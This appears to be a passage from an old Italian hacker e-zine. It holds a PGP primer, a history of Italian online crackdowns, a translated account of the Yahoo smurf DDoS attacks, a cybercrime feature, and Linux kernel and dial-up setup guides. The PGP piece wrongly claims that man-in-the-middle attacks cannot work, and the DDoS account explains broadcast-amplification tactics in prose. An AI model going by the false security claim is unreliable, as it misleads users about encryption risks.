puo' intercettare con facilita'. Alice manda la cua chiave pubblica a Bob e viceversa. Adesso Elisa ha le chiavi pubbliche sia di Bob che di Alice. Alice scrive il messaggio per Bob, lo codifica con la sua chiave pubblica (BPU) e lo invia a Bob. Esso riceve il messaggio e con la sua chiave privata (BPR) lo decodifica e lo legge. Poi risponde e lo critta con la chiave pubblica di Alice (APU), poi lo invia ad Alice. Intando Elisa ha la copia della E-Mail che ALice ha scritto a Bob e relativa risposta solo che Elisa non puo' sapere cosa c'e' scritto perche' ha solo le CHIAVI PUBBLICHE con cui puo' solo crittare e non viceversa. Percui si deduce che l'attacco "Man in the Middle" (Uomo nel mezzo) non funziona. Il funzionamento base della crittografia a base pubblica si basa sul fatto che serve la chiave privata per decodificare un messaggio critatto con la chiave pubblica complementare. Infatti LA CHIAVE PRIVATA DEVE ESSERE CUSTODITA GELOSAMENTE ! Una possibile perquisizione che portasse al ritrovamento della chiave privata di una persona ne comporterebbe l'immediata violazione di tutte le sue E-Mail (e altri documenti). Il PGP e' un programma il cui funzionamento e' basato proprio sulla crittografia a chiave pubblica. Il suo autore Phil Zimmermann ha avuto moltissime grane con l'NSA per via di questo programma che e' stato paragonato ad un'arma a tutti gli effetti. In rete sono disponibili moltissimi particolari sulla vicenda ed il programma e' reperibile a http://www.pgpi.com gratuitamente. Rammento di scaricare la versione internazionale, contrassegnata con un 'i' vicino alla versione. Per esempio il PGP 2.3.6 non e' come PGP 2.3.6i: la prima versione e' lecita sono in America mentre l'altra nel resto del mondo. Dopo avervi scaricato il programma, che esiste per Unix-Linux, Mac, Windows (brrr...) e la versione piu' recente e' la 6.5.2i-beta per Unix-Linux. Scaricatevelo, installatelo e per prima cosa createvi il vostro mazzo di chiavi (KeyRing) che include la vostra chiave pubblica e privata. Estraete (col comando apposito) la chiave pubblica ed inviatela a tutti i vostri amici. Salvate poi su un floppy tutto il KeyRing (SECRING.PGP,PUBRING.PGP,etc..) in modo da avere una copia di backup in caso di formattazione dell'HD. Ricordate che ogni coppia di chiave privata-pubblica non puo' essere rimpiazzata se ne distruggete anche una sola. Conservatele con estrema cura. !!! NON DISTRIBUITE MAI LA VOSTRA CHIAVE PRIVATA !!! P.S. Dovete scegliere una parola chiave. A tal proposito un paio di consigli: 1) Non sceglietela troppo corta (almeno 8-9 caratteri) 2) Non sceglietela banale (del tipo "tantovalagattalalardo...") 3) Usate lettere,numeri e punteggiatura. 4) Siccome la passphrase e' KeySensitive usate minuscole E maiuscole 5) Non ditela MAI A NESSUNO IN NESSUN CASO. 6) Sceglietela facile da ricordare perche' e' bene non annotarla. Ricordate che la segretezza della passphrase e' FONDAMENTALE nel caso la sicurezza delle vostre chiavi (Pubblica e Privata) sia compromessa. Eventuali testi per approfondire l'agomento: -KRIPTONITE edito da Nautilus (Disponibile gratis su Internet a ECN.ORG) -CODICI E SEGRETI della Rizzoli Internet: http://www.rsa.com Sito ufficiale dell'RSA http://www.ecn.org/kriptonite Kriptonite on Line Sperando di avervi fatto riflettere e di aver indotto in voi un minimo di curiosita' sull'argomento, vi saluto. *--------------------* |O-Zone | |zerozone@freemail.it| |http://zap.to/ozone | *--------------------* PGP Key Available ---0 z0nE--- ############################################## #+---------++---------++---------++---------+# #| st0RiEs || st0RiEs || st0RiEs || st0RiEs |# #+---------++---------++---------++---------+# ############################################## -=!!!|-ItAlIaN cRaCkDoWn-|!!!=- Autore: cYb0rG [Dgt_Brains] Questo articolo e' stato scritto pensando a tutti i coloro che per una disinformazione generale sono vittime dei telegiornali, per tutti i coloro che credono che nella rete si aggiri un fantasma, per tutti i coloro che ne hanno paura, per tutti i coloro che non sanno, per non dimenticare, per ringraziare tutti quelli che hanno lottato e/o lottano per una liberta' digitale: -!!!-CYBER-RIGHTS-NOW-!!!- --- Crackdown vuol dire attacco e/o distruzione ma, questo termine, a partire dai primi anni 90 viene associato a un attacco volto alla repressione della liberta' delle reti telematiche. Bruce Sterling racconta in 'The hackers crackdown' (edito dalla SHAKE) la storia del SUNDEVIL (primo crackdown amerikano - 1990), da allora credo siano avvenuti centinaia di crackdown in tutto il mondo, + o - tutti sono scoppiati da una scintilla estremamente piccola. [d'ora in poi sostituiro' per questione di spazio al termine crackdown, la parola 'ckd'] In Italia si contano dal 1994 una decina di ckd, ecco uno schema che raccoglie in ordine cronologico tutti i ckd italiani: !^^^^^^^^1994^^^^^^^^^^!^^1995^^^!^^^^^^1996^^^^^!^^^^^^^1997^^^^^^! +----------------------+---------+---------------+--------+--------+ | VIOLAZIONE COPYRIGHT | HACKERS | COMUNICAZIONE | SESSO | MUSICA | +----------------------+---------+---------------+--------+--------+ >>>>>>hardware1<<<<<<< >ice trap< >>>>>gift sex<<<< !^^^^^^^^^^^1998^^^^^^^^^^^!^^^^^^^^1999^^^^^^^^^! +--------------+-----------+---------------------+ | DIFFAMAZIONE | SATANISMO | WORK IN PROGRESS ;( | +--------------+-----------+---------------------+ Sintetizzero' di seguito i fatti accaduti nei vari ckd: ______ >1994< ^^^^^^ L'operazione HARDWARE1 scatta nel maggio del 1994 e puo' essere definita la piu' grande azione di polizia informatica di tutti i tempi. A essere colpiti da questa operazione sono principalmente i nodi Fidonet e tutte le BBS italiane. Vengono sequestrate decine di computer che contenevano programmi liberamente distribuibili. Vengono incriminati moltissimi sysop per semplici sospetti. Molto del materiale sequestrato allora giacera' ancora per molti anni nei magazzini della GdF senza nemmeno essere esaminato. I reati contestati ai sysop presi di mira sono: associazione a delinquere per frode informatica, alterazione di sistemi informatici, detenzione abusiva di codici di accesso a sistemi telematici, accesso abusivo a sistemi telematci, illecita duplicazione e contrabbando di software. Le BBS sono state private dei server necessari alla loro esistenza provocando un blocco durato mesi e mesi per centinaia di caselle di posta elettronica e per le varie pagine ospitate dalle BBS. Molti sysop hanno perso il posto di lavoro e venivano incolpati per reati che sino ad allora non esistevano. Nascono in questo periodo Strano Network e la mailing list CyberRights. Viene presa di mira anche Peacelink. ______ >1996< ^^^^^^ Il ckd del 1996 colpisce la libertà di comunicazione delle risorse telematiche e di internet. La censura colpisce centinai di siti internet definiti pericolosi, in tutto il mondo. Viene dunque repressa la liberta' di parole, come viene denunciato in un comunicato internazionale dell'ALCEI e di altre organizzazioni anti-censura. La censura colpisce sia la pornografia che il terrorismo. ______ >1997< ^^^^^^ Questo ckd tutti lo ricorderanno perche' e' quello che ha 'colpito' i pedofili di tutto il mondo. ______ >1998< ^^^^^^ Questo ckd invece ha colpito 'diffamatori' e 'satanisti', viene sequestrato il server di Isole nella Rete. Cio' ha causato un oscuramento di tutte le pagine ospitate da www.ecn.org : tutte le associazioni, i centri sociali, le radio... rimangono prive delle loro pagine web. Viene chiusa la mailing list CyberRights e tutte le altre liste, vengono chiuse tutte le caselle e-mail (oltre 300) dei vari centri sociali, radio libere... il tutto per colpa della denuncia di diffamazione da parte dell'agenzia di viaggi Turban Italia srl che, si ritiene diffamata da un messaggio di un collettivo di Vicenza apparso su una mailing list: il messaggio era a favore del popolo kurdo e 'invitava' a boicottare il turismo in Turchia. Per quanto riguarda il satanismo, un parroco siciliano denuncia la presenza di materiale oltraggioso presso il server delle reti civiche romane. Il testo incriminato fa parte di una tesi di laurea ;). Vengono oscurate le pagine di WWf, LIPU, Croce Rossa, CGIL... ______ >1999< ^^^^^^ lavori in corso ---CyBoRg--- [Dgt_Brains] -=!!!|-YAHOO rAkK0nTa l'AtTakk0-|!!!=- Autore: ThE JaCkAl Entro... come sicuramente tutti saprete, il mese di Febbraio e' stato caratterizzato da un notevole polverone seguito agli attacchi DDoS subiti da numerosi "pezzi grossi" della rete. Questo articolo e' il mio contributo a capirci qualcosa di piu'. Consiste nella traduzione del pezzo comparso il 17 Febbraio su http://packetstorm.securify.com/distributed/yahoo.txt Dopo una traduzione letterale, ho preferito adattare il testo per renderlo il piu'fluido e comprensibile possibile... Buona lettura. The Jackal ...Esco Ehi la', seguono alcuni dettagli dei problemi che, nei giorni passati, abbiamo potuto constatare sui nostri server. Scusate se forniamo queste informazioni soltanto adesso, ma dovevamo essere sicuri di essere ben protetti prima di farlo... Nell'ultima settimana abbiamo potuto constatare almeno quattro tipi di attacchi differenti al nostro "globalcenter hosted network". Attualmente abbiamo a disposizione pochi dati sugli ultimi attacchi... ad ogni modo, sembrano essere tutti molto simili tra loro. Tutti quanti sembrano essere stati effettuati attraverso un largo e distribuito utilizzo delle tecniche di smurfing. Abbiamo rilevato, infatti, soltanto attacchi basati sull'ICMP smurf, dato che, allo stato delle cose, i primi attacchi hanno lasciato pochissimi dati a nostra disposizione per l'analisi. Le voci provenienti da altri siti coinvolti, poi, sembrano confermare che molti degli attacchi sono simili a quelli che abbiamo potuto constatare in prima persona, mentre altri sembrano essere completamente diversi. (per esempio, abbiamo sentito di SYN-attack provenienti da una singola o, al massimo, da poche sorgenti). Questo ci fa presumere che ci sia stata anche l'attivita' di un discreto numero di imitatori. L'attacco piu' pubblicizzato, che e' stato anche l'unico che ha avuto un significativo impatto su di noi, e' cominciato lunedi' mattina intorno alle 10.30... In un primo momento (sempre tenendo presente una scala temporale ristretta), non ci siamo resi conto di essere sotto attacco ed, inoltre, un attacco proveniente dall'esterno non era in cima alla lista dei nostri problemi. Siamo stati, quindi, colti di sorpresa. La prima ondata di pacchetti, che soltanto dopo realizzammo essere superiore ad 1 G bits/sec, ha buttato giu' uno dei nostri routers. Riavuto il router, abbiamo perso tutti i "routing" fino al nostro "upstream ISP". Avendo avuto recenti malfunzionamenti con alcuni dei nostri network, per un ora, siamo stati sviati dal reale problema, tentando di risolverne altri che ci sembravano essere più probabili. Alla fine non avevamo piu' traffico in "upstream". Questo ci ha permesso di effettuare i backup dei dati piu' importanti e di realizzare che eravamo sotto un attacco di tipo Denial of Service (DoS). E' stato piuttosto difficile capire cosa stesse succedendo, poiche', in un primo momento, abbiamo notato soltanto un grosso traffico di pacchetti ICMP. "IT TOOK US AND OUR ISP SOMETIME TO STABILIZE THE THINGS": fondamentalmente il temporaneo filtraggio di tutti i pacchetti ICMP - eravamo, quindi, in grado di incollare tutti i pezzi del mosaio... Riportare le cose alla normalita', pero', ha causato maggiori problemi, in quanto il normale traffico represso ha cominciato a sommergere il sistema. Le cose, alla fine, si sono stabilizzate ma, in quei momenti, non e' stato chiaro come questo avvenne. La cosa certa era che l'attacco si era concluso. Il nostro ISP era riuscito a registrare soltanto alcuni pacchetti. Riusci' a registrare che una significativa percentuale dei loro stessi circuiti aveva preso parte all'attacco. Quindi che questo era stato ampiamente distribuito. Gli attacchi seguenti hanno avuto scarso successo, non soltanto perche' eravamo naturalmente piu' preparati e sapevamo cosa aspettarci, ma, soprattutto, perche' avevamo adottato delle contro-misure specifiche per limitarne i danni. Attualmente il nostro ISP sta utilizzando il CAR (Committed Access Rate) per limitare la velocita' di traffico dei pacchetti ICMP in vari punti interni al loro network. La cosa da tenere ben presente, pero', e' che utilizzare il CAR o filtrare i pacchetti echo request / echo reply, potrebbe non essere sufficiente. Probabilmente, questi tipi di ICMP possono, durante un attacco, anche sostituire i pacchetti echo: router advertisement information request router solicitation information reply timestamp request address mask request timestamp reply address mask reply finche' un attacker(s) non riuscira' a generare questi pacchetti con un largo payload (e' solo una mia supposizione, dato che non ho avuto il tempo di verificare i dettagli specifici del protocollo ICMP), questi pacchetti possono entrare con la stessa velocita' dei pacchetti echo. Questi "rate limiters" hanno svolto egregiamente il loro lavoro durante gli attacchi seguenti. Il piu' recente si e' risolto con soli 150 M bits/sec giunti direttamente al sito di Yahoo. Durante questo attacco, il nostro ISP e' riuscito a loggare completamente alcuni di questi pacchetti. Si e' saputo che molti di questi pacchetti ICMP erano destinati ai server di www.yahoo.com come pure ai nostri nameserver. In poche parole, i server "ben noti" sono stati l'epicentro di questo attacco. Voglio dire due parole anche sulla faccenda del "NO IP DIRECT-BROADCAST". Questo non sara' di nessun aiuto contro i DDoS. Il punto centrale dei DDoS e' quello di cercare di prendere delle contromisure. Se vi trovate, per esempio, con 2000 o piu' hosts e volete essere sicuri di non poter essere un sito amplificatore, dovrete sfruttare il "NO IP DIRECT- BROADCAST"... bene... se riesco ad avere accesso ad uno dei 2000 o piu' hosts, potro' comunque "pingare" dall'interno del network. infatti, da una delle tracce che abbiamo, questo e' proprio quello che sembra essere successo. L'IP destinatario era 255.255.255.255 e la sorgente eravamo noi. L'attacco era diretto ai nostri routers ("SPOOFED SRC IP WAS THAT OF OUR ROUTER INTERFACE"). Sembra, quindi, che l'attacker(s) conoscesse bene la nostra topologia e che abbia pianificato in anticipo questo attacco su larga scala. Anche parlando con le altre compagnie, sembra che anche loro siano state colpite nel punto di maggior danno. Sicuramente, quindi, ci troviamo di fronte ad un DDoS, con un attacker(s) abbastanza sveglio e, comunque, con capacita' al di sopra di un comune "script kiddie". L'attacker(s) probabilmente conosce abbastanza bene sia Unix che il networking (Cisco ecc.) ed ha studiato la topologia del sito alla ricerca dei punti deboli. Abbiamo alcune e-mails spedite da persone il cui sito e' stato utilizzato come amplificatore. Il vostro ISP, probabilmente, ha migliori o maggiori logs del nostro. Se volete altre informazioni o avete domande su qualsiasi argomento trattato in questo articolo, sentitevi liberi di mandarmi una mail a: sciacallo@virgilio.it ---(thE JaCKal)--- -=!!!|-kRimIni 0nlIne-|!!!=- Tratto da X-Factor By -M4L3F1K0- [Dgt_Brains] Istruzioni per la fabbricazione di bombe fai-da-te, droghe illegali, persino i particolari della nostra situazione bancaria: è tutto nel computer. Il mondo potrebbe finire alla mercè dei Cybercrimilnali? Nelle prime ore di un mattino del febbraio 1995, gli agenti dell'FBI circondarono un condominio di lusso di Relaigh, nel North Carolina. Quando Kevin Mitnik, uno dei più celebri pirati informatici (hacker) d'America, uscì dal suo appartamento, gli agenti gli misero le manette ai polsi. Finiva così una caccia all'uomo condotta su tutto il territorio statunitense da una squadra capitanata da Tsutomu Shimomura, esperto di sicurezza informatica, e composta da agenti FBI, scienziati informatici e investigatori dilettanti. L'assoluta determinazione a catturare Mitnik risaliva al dicembre 1994, quando il "pirata" si era collegato al computer di Shimomura, gli aveva rubato software per un milione di dollari e gli aveva lasciato alcuni messaggi vocali con la chiara intenzione di prenderlo in giro. I due ingaggiarono una battaglia di astuzie terminata con l'arresto di Mitnick. =] SICUREZZA NAZIONALE [= Kevin Mitnick era già salito agli onori della cronaca nel 1982, ancora adolescenie, quando utilizzò un computer per accedere ai dati del Comando della Difesa Aerea degli Stati Uniti. Al momento dell'arresto, fu trovato inpossesso di dati riguardanti più di 20000 carte di credito oltre che di numerosi codici di accesso reittivi alle banche più riservate di ogni parte del mondo. Kevin aveva acquisito il controllo degli uffici centrali delle tre compagnie telefoniche di NewYork e di tutte le centrali di communtazione della California. Se lo avesse voluto, avrebbe potuto accedere ai sistemi informatici delle principali borse valori d'America o a quelli dei centri militari di controllo. Con i capi di imputazione Mitnik rischia una condanna fino a 100 anni di recluclusione. Un altro caso ha come protagonista Mark Abene anche ogni parte noto col nome di "Phiber Optik". Abene finì in prigione il 7 gennaio 1994 colpevole ddi aver preso di mira i computer centrali delle compagnie telefoniche. Condannato a 1 anno e 1 giorno di reclusione venne però rilasciato il 7 novembre dello stesso anno. Sebbene i reati commessi da Abene non avessero le stesse sinistre implicazioni di quelli perpetrati da Mitnick, entrambi i personaggi condividevano l'interesse per i sistemi telefonici. Come Mitnick, auche Abene aveva inventato dei sistemi per effettuare gratuitamente chiamate internazionali intrufolandosi illegalmente nei centri di controllo delle telecomunicazioni Questa branca della pirateria informatica è nota col nome inglese di phreaking e per ragioni sin troppo ovvie, non è molto ben vista dalle società che gestiscono il traffico telefonico, come la British Telecom o l'americana AT&T. Un altro trucchetto, questa volta un po' infantile, escogitato da Mark Allene consisteva nel far addebitare a un telefono privato inglese il costo delle telefonate effettuate negli Stati Uniti. In questo modo, una voce elettronica chiedeva 10 centesimi di dollaro ogni volta che veniva sollevato il ricevitore. Se nel caso che abbiamo appena descritto si è trattato di una ragazzata relativamente innocua, i criminali informatici specializzati nel settore delle telecomunicazioni hanno acquisito la capacità di "rubare" i numeri dei telefoni cellulari facendo poi pagare a ignari utenti il costo, quasi sempe esorbitante, delle loro chiamate. E non solo. Riescono a reindirizzare i costi dei loro telefoni in modo che compaiano, tanto per fare un esempio, sulla vostra bolletta. Reati di questo tipo non vengono sottovalutati: dal 1990 a oggi, sono costati alle compagnie telefoniche britanniche qualcosa come 400 milioni di sterline (più di 880 miliardi di lire). =] L'HACKER IN TRAPPOLA [= Abene non faceva affatto mistero dei suoi successi e si divertì nel raccontare le sue prodezze a una stazione radiofonica di New York. Questa bravata lo portò all' attenzione delle compagnie telefoniche e causò la sua rovina. Durante il processo, un ex 'igente della CIA pensò che Abene avesse troppo talento per sprecarlo in prigione e si offrì di sorvegliarlo durante lo svolgimento di un lavoro a Washington in alternativa alla detenzione. Ma il giudice respinse l'offerta e condannò Abene al massimo della pena. Sono in molti a ritenere che le compagnie telefoniche abbiano esercitato forti pressioni sulla corte per ottenere una condotta esemplare che scoraggiasse altri potenziali pirati infornatici. Mitnick e Abene sono solo la punta dell' iceberg. Con importanti società che utilizzano i computer per mandare avanti i loro affari, la prospettiva per il crimine informatico è a dir poco terrificante. =] FURTO NEL CIBERSPAZIO [= Internet è una rete di elaboratori il cui accesso è libero a tutti in ogni parte del mondo con il solo ausilio di un computer e di una linea telefonica commutata. Questo offre agli hacker come Mitnik e Abene nuove opportunità e sempre più stimolanti. In Internet sono già disponibili bartking (che permettono l'effettuazione remota di operazioni bancarie) e di vendita a distanza. Un hacker che viaggia sulle autostrade informatiche, avrebbe la possibilità di predare conti bancari e carte di credito. Un rapporto della Commissione Federale del Commercio degli Stati Uniti, pubblicato nel maggio 1996, si è spinto a dichiarare che il ciberspazio è divenntato la nuova frontiera degli artisti della truffa sulle inforimazioni confidenziali. Secondo una recente indagine condotta dalla Management Consultancy PA, il crimine irformatico è costato al mondo degli affari britaunico nel solo 1995 la bella cifra di 40 milioni di sterline al giorno (circa 88 miliardi Tra le truffe cui la stampa ha dato maggior risalto in quella in cui i pirati interferivano con le strisce magnetiche delle tessere fedeltà dei supermercati con lo scopo di attribuire a se stessi un numero maggiore di punti. Peter Jenner, capo della divisione internazionale di sicurezza informatica della Management Consultancy PA, una tendenza particolarmente preoccupante è costituita dal sempre maggiore coinvolgimento nel campo delle truffe informatiche di criminali organizzati e ben equipaggiati. =] DENARO FACILE [= Le organizzazioni criminali hanno bisogno di soldi per supportare le loro attività loro attività e la truffa informatica costituisce un sistema relativamente poco rischioso di rastrellare grosse somme di denaro. Si costringe l'impiegato di una società a manomettere il sistema informatico e a dirottare il denaro in un conto bancario falso oppure ci si infiltra direttamente, facendosi assumere nella società che si vuole depredare. "I colpevoli di questo tipo di reati vengono catturati molto raramente", avverte Jenner, perché risulta estremamente difficile rintracciare, e non parliamo poi di perseguire, la persona che ha commesso il reato. Fortunatamente, però, non finisce sempre così. Nell'ottobre '99 venne portato alla ribalta uno degli esempi più audaci di reato informatico, per il quale furono arrestate ben sette persone. Con un sistema relativamente semplice e la complicità di alcuni impiegati corrotti della British Telecom, la cosiddetta "banda del buco" aveva progettato di inserirsi nelle linee telefoniche che collegano i baticomat ai computer centrali delle banche: in questo modo avrebbe potuto conoscere centinaia di migliaia di codici segreti, cioè quella sequenza di quattro, cinque numeri che deve essere digitata sulla macchina perché questa possa erogare il danaro. Una volta decifrati, questi codici sarebbero stati inseriti in una nuova tessera. La polizia disse che se il furto avesse avuto successo, avrebbe rovinato le istituzioni finanziarie della Gran Bretagna. =] INFORMAZIONI IN LIBERTA' [= Fino a questo momento, il crimine informatico sembra nguardare solo il mondo dei grandi affari. Ma a Internet si collega un numero sempre crescente di persone, e questo tipo di reato potrebbe finire per interessare da vicino ognuno di noi. Internet è ugnì sorta di "piazza" virtuale dove qualsiasi tipo di informazione, legale o no, diventa di pubblico dominio. Accanto agli innegabili vantaggi, che non sono qui in discussione, possono esservi anche dei rischi connessi al reperimento di centinaia di migliaia di dati e informazioni che, nelle mani sbagliate, costituirebbero una minaccia per l'umanità. Per fare qualche esempio, è possibile reperire le istruzioni per confezionare ordigni estiplosivi rudimentali o sofisticati (anche nucleari) o dettagli sulle modalità per ordinare armi da fuoco; ci si può informare sul modo migliore di suicidarsi, di realizzare il delitto perfetto, di cambiare identità o simulare la propria morte. L' abbondanza di informazioni illegali in Internet costituisce il terreno di coltura ideale per potenziali criminali. Con 10 milioni di utenti in rete, le possibilità di catturare l'elemento criminale sono quasi nulle. =] REGOLAMENTARE LA RETE [= Pensiamo anche al dilagare della pornografia infantile. Nel novembre 1995, Christopher Sharp un consulente di direzione quarantottenne sposato e padre di due figli fu dichitrato colpevole di avei scaricato sul computer di casa sua pornografia infantile trovata su Internet. Il suo arresto avvenne nel corso di una grande operazione, in codice "Operazione Esplosione Stellare", cui avevano collaborato le forze di polizia di sette paesi tra cui Stati Uniti, Germania e Hong Kong. Regolamentare Interne per fermare definitivamente la pornografia infantile è un lavoro mostruosamente difficile. Uno dei problemi principali è costituito dalle diverse legislazioni dei vari paesi, e Internet del resto non ricade in nessuna giurisdizione. Se un paese dichiara guerra alla pornografia infantile, i pedofili possono trasferire il loro materiale in un'altra nazione con 1eggi più permissive. Questo materiale può essere caricato in Internet e reso disponibile a tutti e ovunque. Se l'abilità di hacker come Mitnik è in grado di mettere in ginocchio la sicurezza dei sistemi informatici, sarebbe allora auspicabile un maggior investimento di risorse umane tecnologiche in questo campo, prima che la situazione divenga incontrollabile e finisca per distruggere anche i benefici che possono realmente venire dalla Rete. Tratto da X-Factor ---M4L3F1K0--- [Dgt_Brains] ############### # -[ lInUx ]- # ############### -=!!!|-lA cOmPiLaZiOnE dEl KeRnEl-|!!!=- Autore: Jackal66 Allora benvenuti ragazzi (e sopratutto ragazze ;-) ) in questo articolo parleremo di ricompilazione del kernel. Dunque prima di incominciare vorrei chiarire una cosa; esistono 2 tipi di kernel: 1) Kernel Modulare 2) Kernel monolitico Nel kernel modulare vengono caricati i moduli (che possono anche essere definiti drivers) e questi non si 'fondono' diretamente con il kernel ma vengono compilati separatamente per cui possono essere modificate senza che il kernel debba essere ricompilato un' ulteriore volta. Invece nel kernel monolitico le periferiche vengono caricate nella ram e da la non possono essere piu' toccate, per modificarle occorrera' ricompilare il kernel. Dove scaricarsi i sorgenti del kernel Per prima cosa bisognera' scaricarsi i sorgenti del kernel (di regola sono in formato tar.gz). L' ultima versione sia stabile (2.2.xx) che non stabile (2.3.xx) la troverete sicuramente su http://www.kernel.org e di solito la dimensione del kernel completo (non la patch) occupa sui 14 mb. Come decomprimere i sorgenti del kernel Collegarsi come root e copiare il sorgente compresso in / (ad esempio cp /root/file_scaricati/linux.2.2.10 /) e digitare da / tar xvfz /linux.x.y.zz (dove x.y.zz dovra' essere sostituito dalla versione del kernel) e verra' creata una nuova directory in /usr/src/linux-x.y.zz. Ora si dovra' creare un link simbolico alla directory /usr/src/linux.x.y.zz con il comando: ln -sf /usr/src/linux.x.y.zz /usr/src/linux. Ora nella directory del kernel possiamo entrarci dando il comando cd /usr/src/linux invece che con cd /usr/src/linux.x.y.zz . Configurazione del kernel. Ora incominceremo la vera compilazione allora date il comando cd /usr/src/linux (per entrare nella directory del kernel), dopo di che possiamo scegliere il programma con cui andremo a configurare il kernel e cioe': 1) make config 2) make menuconfig 3) make xconfig Il primo ve lo sconsigilo in quanto e' senza interfaccia grafica e fa partire uno script che fa una marea di domande; quindi e' molto scomodo e ve lo consiglio solo se vi piace la sofferenza :-) Il secondo e' con interfaccia semi grafica ed e' un po' piu' intuitivo del primo. Il terzo ha un interfaccia grafica e per avviarlo bisognera' tenere X gia' aperto. Una volta che ne avete scelto uno vi uscira' una schermata con varie opzioni da scegliere (alcune possone essere lasciare cosi' come sono e quindi non le citero' nemmeno): ----------------------------------NOTA---------------------------------------- Io non vi diro' quando caricare un modulo (ammeno che' non ve ne sia bisogno) e quindi questa scelta la lascio a voi --------------------------------FINE NOTA------------------------------------- General Setup Lasciate cosi' com'e', cmq controllate che sia attivato il supporto per il networking (networking support) e PCI support. Plug And Play Support Qui usciranno solitamente solo due opzioni (Plug and Play support e Auto-Probe for parallel devices) attivate Plug and Play Support e caricate come modulo Auto-Probe..... Block Devices Qui potete lasciare tutto come sta' Networking Options Qui attivare le prime nove opzioni e quelle dopo lasciatele cosi' come sono SCSI Support Attiverete le varie opzioni se avete delle interfaccie scsi SCSI low-level drivers Se avete delle periferiche scsi e qui non sapete che mettere mettete tutto (o quasi) come moduli Networking Device support Qui' lasciate tutto com'e' e accertatevi che sia attivato: Networking device support PLIP PPP SLIP Ethernet (10 or 100 Mbit) Attivare le varie opzioni se volete controllare la vostra rete ethernet da linux ISDN SubSystem Support Se avete modem isdn attivate (io vi consiglio come modulo) ISDN support, poi le prossime 4 opzioni e assicuratevi che sia attivata l' opzione HISAX support for EURO/DSS1 e quindi anche HiSax SiemensChipSet driver Support e dopo selezionare il modello del vostro modem FileSystem Lasciate com'e' ma attivate DOS FAT fs support, MSDOS fs Support, VFAT (windows 95) fs support. Sound Attivate sound support e selezionate la vs. skeda se volete sentire i suoni dal linux. Ok ora premete Save and Exit. Compilare il kernel (che palleeeee!!!!) Ora da una shell (o da un terminale se siete in X) digitare (ogni comandando seguito da invio ovviamente) make dep make clean make bzImage make modules rm -rm /lib/modules/x.y.zz/* (serve per eliminare i moduli vecchi, ricordate che x.y.zz va sostituito con la versione del kernel) make modules_install depmod -a creare una copia del file /boot/vmlinuz-.x.x.xx chimandolo vmlinuz-x.x.xx-old Ora dare il comando: cp /usr/src/linux/arch/i386/boot/bzImage /boot/vmlinuz-x.x.xx (dove x.x.xx va sostituito dalla vesione del kernel precedente) Dopo di che editare lilo.conf, che conterra' pressapoco queste linee: boot=/dev/hda map=/boot/map install=/boot/boot.b prompt timeout=50 default=linux image=/boot/vmlinuz-2.2.12 label=linux initrd=/boot/initrd-2.2.12-20.img read-only root=/dev/hdb1 other=/dev/hda1 label=dos e aggiungerci le seguenti linee sotto a default=linux image=/boot/vmlinuz-2.2.12 label=linux read-only root=/dev/hdb1 e modificate le linee: image=/boot/vmlinuz-2.2.12 ------------->Va cambiato con /boot/vmlinuz-2.2.12-old (o come l'abbiamo chiamato prima) label=linux --------------------->Va cambiato in old initrd=/boot/initrd-2.2.12-20.img read-only root=/dev/hdb1 Poi copiate il file System.map posizionato in /usr/src/linux nella directory /boot chiamandolo come il vecchio: cioe' se il vecchio System.map si chiamera' System.map-2.2.12 allora fate: cp /usr/src/linux/System.map /boot/System.map-2.2.12 Vi consiglio di crearvi una copia nel caso qualcosa andasse storto Ora digitate lilo e se tutto e' andato bene vi rispondera' con le righe: Added Linux* Added Dos Addes Old ora riavviate dando uno shutdown -r now e se tutto e' andato a buon fine cancelate il kernel vecchio con il comando: rm -rf /usr/src/linux.x.x.xx (ovviamente x.x.xx va sostituito con la vers. del kernel vecchio; mi sono stancato di dirlo) E' FINITAAAAAAAAAAAAAAAAAAAAA Finalmente la compilazione del kernel e' finita io vi do un saluto ByeZ!! PS. Per chiunque volesse scrivermi la mia e-mail e' weesp@tin.it PS. Scrivetemi a weesp@tin.it anche se non volete contattarmi PS. Non mandate e-mail bomb a weesp@tin.it PS. OK basta PS. PS. Ciao Ciao ---Jackal66--- -=!!!|-sEtTarE iL KPPP dI LiNUx ed I sERvEr dI c0nNEsSi0nE-|!!!=- Autore: Lord 'xYz Rieccomi per la seconda volta a rompervi le palle, sempre io, va be dai non sono malvagio :))))))))) Adesso vi spiego come settare linux per essere subito online con il nostro pinguino preferito; io penso che una persona che istalla linux per la prima volta e non riesca a settare il kppp per connettersi alla rete e lasci linux in disparte e utilizzi windows per navigare. Visto che internet e' di voga oggi e soprattutto le chat io penso che lavorare online da subito con linux sia un metodo di veloce apprendimento; ok detto questo che puo' sembrare noioso, partiamo subito con il settaggio del kppp... 1_aprite il kppp se non lo avete procuratevelo cmq si trova nel kde e dovrebbe essere presente in quasi tutte le distribuzioni linux. la prima schermata è di facile dovete inserire nome utente (username) e password di connessione, come su winzozzo 2_adesso cliccate su configurazione troverete ACCOUNTS. DISPOSITIVO, MODEM, PPP, queste servono gli altri due lasciateli invariati. Lasciamo perdere per un attimo ACCOUNTS lo vedremo dopo, adesso vediamo DISPOSITIVO. 3_DISPOSITIVO: il vostro modem dovrebbe trovarsi sulla com1 se non lo è mettetelo lì :)))))))), cazzo ma non vedo scritto com1 nella lista come faccio, la com1 in linux corrisponde alla porta /dev/ttySO e com2 alla porta /dev/ttyS1 scelta la porta giusta vediamo il controllo di flusso selezionamo NULLA. Fine linea settiamo CR/LF, velocità di connessione mettiamo la velocità del nostro modem ,selezioniamo use lock file e timeout modem 60 secondi. 4_MODEM: attesa se linea occupata settiamo 10 secondi, volume modem mettete la metà di volume bisogna sentirlo il modem quando parla :)))))))) . Stop non mettete nient' altro. 5_PPP: timeout del programma pppd 30 secondi, selezionate quello che volete del restante PPP come vi piace di più. 6_ACCOUNTS: selezioniamo nuovo. arg che cazzo ci metto adesso non ci salto fuori, allora troverete CHIAMA..., IP. DNS . GATEWAY, gli altri due lasciateli in disparte per il momento. A_CHIAMA...: nome connessione mettiamo un nome che ci pare che vogliamo dare alla nostra connessione, numero di telefono scriviamo il nomero di telefono dato dal nostro account come su winzozzo, autenticazione settiamo PAP, selezioniamo ricorda password, poi il resto se lo volete mettere mettelo ma serve per comodità non per connettersi. B_IP: selezioniamo ip dinamico il resto lasciate invariato. C_DNS: eccoci al punto cruciale i server dns, dove cazzo li trovo, allora se non siete fessi spero abbiate tenuto il cd di connessione a internet o avere stampato quello le pagina finale se avete attivato un account sulla rete tipo : tin fuck :) ,jumpy, tiscali, libero avete capito, se non li avete procurateveli spedite una mail o cercate dei server che accetto di essere usati come server DNS. Ok adesso che vi siete procurati i server dns settiamo DNS : nome 